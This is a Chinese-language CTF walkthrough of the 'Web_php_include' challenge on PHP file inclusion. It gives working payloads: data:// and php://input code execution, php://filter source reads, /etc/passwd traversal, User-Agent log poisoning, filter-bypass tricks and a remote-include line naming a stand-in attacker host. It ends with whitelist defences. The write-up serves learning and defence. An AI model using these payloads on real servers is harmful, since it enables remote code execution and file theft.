議繞過)
如果你在CTF新手期刷過Web題大概率見過一個叫Web_php_include的老面孔。這道題在某主流練習(xí)平臺的新手列表里掛了很久名字已經(jīng)把考點寫臉上PHP 環(huán)境下的文件包含F(xiàn)ile Inclusion。我最初打這道題時抱著“隨便點點看”的心態(tài)結(jié)果被Hacker!!!攔了一輪又一輪后來才把php://input、data://、php://filter這些偽協(xié)議逐個摸透。這篇文章按胎教標(biāo)準(zhǔn)重新寫一遍 WP每個動作背后的“為什么”也一并講清楚適合剛接觸文件包含、想看完整解題思路的選手也適合那種“照著payload打進去但不知道原理”的朋友。1. 開題先搞清楚這道題到底在問什么1.1 題目名就是第一份情報Web_php_include可以直接拆成三段看Web方向說明是 Web 安全題目。php語言說明后端跑的是 PHP。include說明核心考點大概率是文件包含漏洞。這種命名風(fēng)格其實就是出題人給你劃重點。相比那些起得花里胡哨的題這道題算是很友好。胎教版 WP 的意思是從打開環(huán)境、看源碼、構(gòu)造 payload、提交 flag每一步都按最啰嗦的方式講盡量不讓跟練的人卡殼。順便說一下這類題目在不同平臺上可能有一點點改動比如過濾條件不同、flag 文件位置不同。所以下面我會把“典型原題”和“常見變體”一起講而不是只給一條能夠復(fù)現(xiàn)的命令。只要理解了怎么繞過過濾換什么外殼都不怕。1.2 打開環(huán)境后第一眼看到什么這道題打開環(huán)境后通常是一個很干凈的頁面頁面上要么是一段高亮代碼要么只有一行類似please input the page parameter的提示。在多數(shù)版本里頁面源碼長這樣?php highlight_file(__FILE__); if (isset($_GET[page])) { $page $_GET[page]; include($page); } ?有的版本會再套一層過濾比如?php $page $_GET[page]; if (stripos($page, php://) ! false) { die(Hacker!!!); } include($page); ?看到include($page)并且$page直接來自$_GET就可以基本確定這是一個典型的本地文件包含LFI漏洞點。highlight_file(__FILE__)會把當(dāng)前文件源碼直接打印出來這本身就是出題人給的提示也是信息收集的第一步。1.3 信息收集也可以有順序很多新手拿到題目直接開始試 payload其實信息收集的順序更影響效率。我習(xí)慣按下面這個流程走先看 URL 上有沒有參數(shù)。index.php?pagexxx這種形式一眼就能看出page是可控參數(shù)。再看頁面渲染出來的源碼里有沒有注釋、隱藏提示、base64 字符串。用瀏覽器開發(fā)者工具看響應(yīng)頭確認(rèn)服務(wù)器類型比如nginx、apache這會影響后面日志包含時猜路徑。最后再用 curl 做一次干凈的請求避免瀏覽器自動解碼、自動加 UA 這些東西干擾判斷。有時候題目源碼并不會直接顯示完整代碼比如有的版本只用include($_REQUEST[page])看起來更隱蔽。信息收集階段多花五分鐘后面少走半小時彎路。1.4 用最土的辦法確認(rèn)漏洞確認(rèn)文件包含漏洞可以先試一個最簡單參數(shù)index.php?pageindex.php如果頁面內(nèi)容沒變化或者還是能看到相同源碼說明include確實被觸發(fā)并且page參數(shù)能控制包含路徑。再試一個不存在的文件index.php?pageno_such_file如果頁面出現(xiàn)類似Warning: include(no_such_file): failed to open stream的報錯說明參數(shù)已經(jīng)被拼進 include 了。報錯信息還能幫我們看到當(dāng)前目錄結(jié)構(gòu)屬于意外收獲。也可以試路徑穿越index.php?page../../../../etc/passwd注意有些環(huán)境會過濾../大概率看得到內(nèi)容看不到也不用慌后面還有偽協(xié)議路線。這個階段的目標(biāo)只是確認(rèn)“能包含”不是立刻拿 flag。2. 文件包含漏洞和偽協(xié)議先懂原理再打題2.1 include 可控意味著什么include在 PHP 里的作用是把一個文件拉進來并按 PHP 語法解析它。正常情況下開發(fā)者會用它加載公共頭部、模板、配置文件。但如果文件路徑來自用戶輸入問題就大了。可以這么理解include就像小區(qū)門禁正常情況下門禁手里有一份白名單只放行快遞員、外賣員、業(yè)主?,F(xiàn)在這個門禁變成逢人就問“你是誰”然后直接放行。攻擊者完全可以說“我就是 PHP 代碼”門禁就直接把帶進來的代碼執(zhí)行了。所以文件包含漏洞一旦可控輕則讀取任意文件重則直接執(zhí)行系統(tǒng)命令。這道題的目標(biāo)就是把這個能力變成一次 RCE然后從服務(wù)器上把 flag 帶出來。2.2 四個高頻偽協(xié)議速記PHP 提供了一些“偽協(xié)議”它們不是真實文件但能被include、file_get_contents這些函數(shù)當(dāng)流來用。下面這幾個在 CTF 里最常出現(xiàn)偽協(xié)議作用常見場景依賴條件php://input把請求體當(dāng)作流內(nèi)容用 POST 直接傳 PHP 代碼執(zhí)行需要allow_url_includeOnphp://filter對文件內(nèi)容做編碼/過濾器處理讀取 PHP 源碼而不直接執(zhí)行多數(shù)環(huán)境默認(rèn)可用data://把字符串當(dāng)作數(shù)據(jù)流構(gòu)造完整 PHP 代碼直接 RCE需要allow_url_includeOnexpect://直接執(zhí)行系統(tǒng)命令很直接但少見需要安裝 expect 擴展其中data://和php://input是最常用的兩條 RCE 路線。php://filter則擅長“讀源碼”把 PHP 文件內(nèi)容用 base64 輸出源碼里的變量、注釋、邏輯全都能看到。2.3 題目常見的過濾規(guī)則原題為了增加一點難度通常會過濾一些關(guān)鍵詞。最經(jīng)典的黑名單是if (stripos($page, php://) ! false) { die(Hacker!!!); }還有的版本會用正則preg_match(/php:\/\/|http:\/\/|https:\/\/|ftp:\/\//i, $page)這種過濾方案的問題在于它只是查字符串里有沒有php://、http://、ftp://但沒查data://。所以構(gòu)造data://text/plain,...就能從黑名單的眼皮底下溜過去。2.4 黑名單為什么容易被繞黑名單的本質(zhì)是“禁止列表”只把已知的危險項擋在門外。攻擊者不需要解除黑名單只需要找一個沒被寫進黑名單的合法項。PHP 協(xié)議名本身又是大小寫不敏感的如果過濾規(guī)則沒寫i修飾符用PHP://也能碰碰運氣。黑名單永遠(yuǎn)是在跟攻擊者比誰的知識庫更大這種防守思路從根上就吃虧。真正的防御應(yīng)該用“白名單”只允許特定的文件名或目錄前綴其他一律拒絕??上Ш芏嗑毩?xí)題目為了教學(xué)效果故意保留黑名單寫法讓我們有機會反復(fù)練習(xí)繞過。3. 實操四種拿 flag 的路線3.1 路線 Adata://直接命令執(zhí)行這是這道題最穩(wěn)的解法也是我推薦第一個試的。構(gòu)造路徑index.php?pagedata://text/plain,?php system(cat flag.php); ?直接貼到瀏覽器地址欄里通常會被自動編碼但為了保險最好手動把特殊字符轉(zhuǎn)成 URL 編碼index.php?pagedata://text/plain,%3C?php%20system(cat%20flag.php);%20?%3E更推薦的做法是先用 base64 編碼整段 PHP 代碼再放到data://text/plain;base64,后面data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg這段 base64 解碼后就是?php system(cat flag.php); ?執(zhí)行過程不難理解include遇到data://會把后面字符串當(dāng)作數(shù)據(jù)流讀進來PHP 解析器看到?php ... ?標(biāo)簽就開始執(zhí)行代碼最終system(cat flag.php)把 flag 文件內(nèi)容打印出來。這里有個很容易踩的坑如果使用的是cat flag.php而 flag 文件本身就是 PHP 文件里面可能有?php $flag flag{...}; ?這種內(nèi)容。cat會原樣輸出文件內(nèi)容所以你能看到帶標(biāo)簽的源碼直接復(fù)制 flag 就行。3.2 路線 Bphp://input配合 POST 數(shù)據(jù)如果當(dāng)前環(huán)境沒有把php://拉黑php://input是更簡單直接的方法。先讓page指向php://inputindex.php?pagephp://input然后用 POST 方式在請求體里放 PHP 代碼curl -X POST http://target/index.php?pagephp://input \ --data-binary ?php system(cat flag.php); ?php://input會把整個請求體當(dāng)作數(shù)據(jù)流include讀取后交給 PHP 解析于是 POST 里的代碼就被執(zhí)行了。這里有兩個細(xì)節(jié)值得注意用--data-binary比--data更穩(wěn)因為它不會吃掉換行、多余空格代碼結(jié)構(gòu)能完整保留。如果靶機配置了allow_url_includeOffphp://input可能報failed to open stream這時要換成data://因為data://在很多版本里對配置的要求更寬松一些。3.3 路線 Cphp://filter讀源碼拿 flag有的環(huán)境不讓你直接執(zhí)行命令或者過濾了system、cat這類關(guān)鍵詞。這時候先別急著 RCE試著用php://filter把源碼讀出來。構(gòu)造方式index.php?pagephp://filter/readconvert.base64-encode/resourceflag.php返回的結(jié)果是一段 base64。把它丟到在線解碼工具或者用命令行echo BASE64_STRING | base64 -d就能看到flag.php的源代碼。如果 flag 是一個變量比如?php $flag flag{test_flag}; ?直接讀取源碼比執(zhí)行命令更直觀還能看到被注釋掉的部分有些題會把 flag 寫在注釋里。如果題目過濾了php://可以依次嘗試PHP://filter/readconvert.base64-encode/resourceflag.php大小寫繞過php://Filter/readconvert.base64-encode/resourceflag.php過濾器名大小寫這些變體只對部分過濾規(guī)則有效。如果過濾代碼用了stripos或者正則的i修飾符大小寫就沒用老老實實回到data://。3.4 路線 D日志包含保底如果所有偽協(xié)議都因過濾或配置問題用不了日志包含是最后的大招。Nginx 或 Apache 會把訪問日志寫到固定目錄日志內(nèi)容里包含 URL、User-Agent 這些請求信息。理論上我們再怎么構(gòu)造 payload都會被寫進日志只要讓include去包含日志文件日志里的 PHP 代碼就會被執(zhí)行。第一步把惡意代碼放進 User-Agentcurl -A ?php system(cat flag.php); ? http://target/第二步用page包含日志文件index.php?page/var/log/nginx/access.log如果服務(wù)器是 Apache可以試index.php?page/var/log/apache2/access.log日志包含的變數(shù)很多日志路徑不確定、日志內(nèi)容可能被寫入方轉(zhuǎn)義、權(quán)限不足導(dǎo)致讀取失敗、日志文件太大導(dǎo)致報錯所以這并不是最優(yōu)先路線但在偽協(xié)議全滅的時候它往往是唯一能走下去的路。我之前遇到過一個變體題過濾規(guī)則把data://、php://、http://全攔了最后就是把惡意代碼拼在 UA 里再包含 nginx 日志拿到的 flag。所以這套技巧值得練熟。3.5 推薦練習(xí)順序到手的 payload 不要亂試建議按這個順序來data://直接 RCE最快。php://input帶 POST如果data://被過濾。php://filter讀源碼適合信息收集。日志包含保底適合偽協(xié)議全廢的情況。每一步失敗后都要記錄失敗原因而不是盲目換下一個。很多題目的變體就是靠“換一個協(xié)議”解決的。4. 為什么 payload 能通不通時查什么4.1 從代碼審計視角看防護把典型過濾代碼再拎出來看一遍$page $_GET[page]; if (stripos($page, php://) ! false) { die(Hacker!!!); } include($page);問題出在過濾范圍太窄。stripos只能從字符串里找php://而data://的字符串里根本沒有php://這三個詞所以校驗直接通過。這說明出題人可能默認(rèn)只防了最常見的php://但忘了偽協(xié)議家族不止這一個。這也提醒了我們一點以后審代碼看到include($var)不要急著試 payload先找它上面有哪幾層過濾。過濾規(guī)則決定了攻擊面甚至比源碼本身還重要。4.2 繞過思路不完全手冊除了data://還有幾個知識點值得順手記下大小寫混寫PHP://input、DATA://text/plain。PHP 協(xié)議名大小寫不敏感部分過濾規(guī)則區(qū)分大小寫時有效。雙重 URL 編碼例如把php://編碼成%2570%2548%2530%253A%252F%252F。有些場景服務(wù)器接收后先解碼一層再進入過濾邏輯或者中間層有參數(shù)污染這種方式可能繞過??兆止?jié)截斷flag.php%00.jpg。在 PHP 5.3.4 之前可以截斷后面內(nèi)容現(xiàn)在基本失效但理解它有助于理解文件包含的歷史問題。遠(yuǎn)程文件包含RFIhttp://attacker/shell.txt。需要allow_url_includeOn而且大多數(shù)黑名單會攔http://不是首選。這些技巧不是每個在當(dāng)前版本都能用但面試、比賽里偶爾會遇到。平時多積累關(guān)鍵時刻能救命。4.3 排錯順序清單如果你試了 payload 沒反應(yīng)按照下面這個表格排查比亂試快得多現(xiàn)象可能原因下一步頁面沒有任何變化參數(shù)名不對或請求被瀏覽器攔截用 curl 重放請求核對參數(shù)名出現(xiàn)Hacker!!!觸發(fā)關(guān)鍵詞過濾換data://或變體協(xié)議頁面空白代碼執(zhí)行了但沒輸出用cat或highlight_file輸出報failed to open stream偽協(xié)議被禁用或路徑錯誤檢查allow_url_include換路徑base64 解碼后是亂碼resource 路徑不對或內(nèi)容被二次編碼重新確認(rèn)文件路徑4.4 用日志定位是哪里斷了如果上面表格還排查不出來打開開發(fā)者工具看 Network 面板確認(rèn)狀態(tài)碼、響應(yīng)頭、請求體。有些題目環(huán)境會開display_errorsOff錯誤信息被吞掉頁面一片空白。這時候可以故意在 payload 里觸發(fā)一個 PHP 警告比如?php include(no_such_file); ?把包含路徑的報錯逼出來。我習(xí)慣在本地起一個同樣的 PHP 環(huán)境做對照測試。本地能通過的 payload到了遠(yuǎn)程不通多數(shù)是過濾規(guī)則或者 PHP 配置的差異本地都不通過的 payload不要拿到遠(yuǎn)程浪費時間。這個思路適用于所有 Web 題。5. 踩坑實錄與問題速查5.1 踩坑一瀏覽器把尖括號吃了直接把?php system(cat flag.php); ?貼到地址欄瀏覽器有可能會把?當(dāng)作標(biāo)簽開始自動轉(zhuǎn)義、截斷。所以看到 payload 被 URL 編碼不是壞事反而是正確行為。最省事的方法是把代碼用 base64 編碼后再放data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg這樣地址欄里全是字母數(shù)字和等于號瀏覽器基本不會動它。5.2 踩坑二cat沒輸出或者被禁用如果cat flag.php沒有輸出先考慮是不是命令執(zhí)行函數(shù)被disable_functions禁掉了??梢郧袚Q命令試試tac flag.php nl flag.php more flag.php sort flag.php也可以直接用 PHP 自帶函數(shù)讀文件?php print_r(file(flag.php)); ?file()會把文件每一行作為數(shù)組元素輸出print_r打印出來能看到完整文件內(nèi)容。5.3 踩坑三引號和分號把 payload 弄壞PHP 代碼必須有分號命令里又經(jīng)常要寫引號兩套引號疊在一起很容易破壞 payload。比如?php system(cat flag.php); ?外層如果用雙引號包裹內(nèi)層也用雙引號就需要轉(zhuǎn)義非常容易出錯。解決辦法就是 base64 編碼echo -n ?php system(cat flag.php); ? | base64得到一個純 base64 字符串放到data://text/plain;base64,后面既不擔(dān)心引號也不擔(dān)心分號。5.4 踩坑四過濾規(guī)則比想象中多有的題目會把data://也加進黑名單看起來所有路都堵死了。別急著放棄還可以試大小寫變體DATA://text/plain。試data://text/plain;charsetutf-8,這類帶參數(shù)的形式過濾規(guī)則可能沒想到?;氐饺罩景褠阂獯a放到 UA 頭里繞開偽協(xié)議黑名單。反復(fù)讀源碼有時候 flag 就在源碼注釋里壓根不用 RCE。這個題目的本質(zhì)是“在一個過濾很多的黑名單里找一條活路”。多試幾次總有一個口子能走通。6. 從這道題看 LFI 的攻防與后續(xù)學(xué)習(xí)路線6.1 開發(fā)時怎么防御從攻防角度看LFI 漏洞真正的根因是“用戶輸入直接拼接進文件路徑”。修復(fù)方式不是把黑名單拉長而是徹底取消用戶的路徑控制權(quán)。推薦寫法是把文件路徑映射成固定鍵名$allowed [ home pages/home.php, about pages/about.php, ]; $pageKey $_GET[page]; if (isset($allowed[$pageKey])) { include($allowed[$pageKey]); } else { include(pages/error.php); }這樣用戶不管傳什么都只能在$allowed數(shù)組里選一個鍵根本碰不到真實路徑。再配合關(guān)閉allow_url_include對包含路徑做realpath校驗禁止上傳可解析的 PHP 文件。這些才是真正有效的防護。黑名單只是防守的第一道墻白名單才是硬件級門禁。6.2 新手學(xué)完這道題可以繼續(xù)啃什么Web_php_include屬于“文件包含類漏洞”的基礎(chǔ)入門題。打完這道題后面可以按這個路線繼續(xù)學(xué)了解include、require、require_once的差異以及它們的解析規(guī)則。學(xué)命令注入掌握system、exec、passthru的區(qū)別。學(xué) SQL 注入因為 Web 題的考點經(jīng)常串在一起。學(xué) SSRF理解服務(wù)端請求偽造和文件包含的共同點。最后回到實戰(zhàn)靶場練習(xí)拿到源碼后如何快速定位漏洞參數(shù)。不管后續(xù)學(xué)什么都記住一句話CTF 題目都是虛擬靶場合法練習(xí)才是學(xué)習(xí)。不要拿這套思路去掃未經(jīng)授權(quán)的目標(biāo)技術(shù)本身沒有善惡使用邊界取決于人。打題打到最后我發(fā)現(xiàn)很多“高級技巧”其實是基礎(chǔ)知識的組合。data://并不神秘它只是 PHP 內(nèi)置的一個數(shù)據(jù)流協(xié)議include也不神秘它只是按規(guī)則解析文件。把這兩個點連起來這道題的答案就自己浮出來了。最后分享一個我認(rèn)為很有用的習(xí)慣拿到任何文件包含題先不要急著打 RCE先嘗試用php://filter把index.php和flag.php的源碼都讀出來。很多題目把 flag 放在變量里、注釋里、甚至藏在某個不存在漏洞的代碼片段中。能讀到源碼你就已經(jīng)從“盲打”升級成“開卷考”了。這道題我當(dāng)初卡了一個多小時就是因為一直跟php://較勁直到換成data://才一通到底。希望這份胎教級 WP 能讓你少踩一些我走過的坑。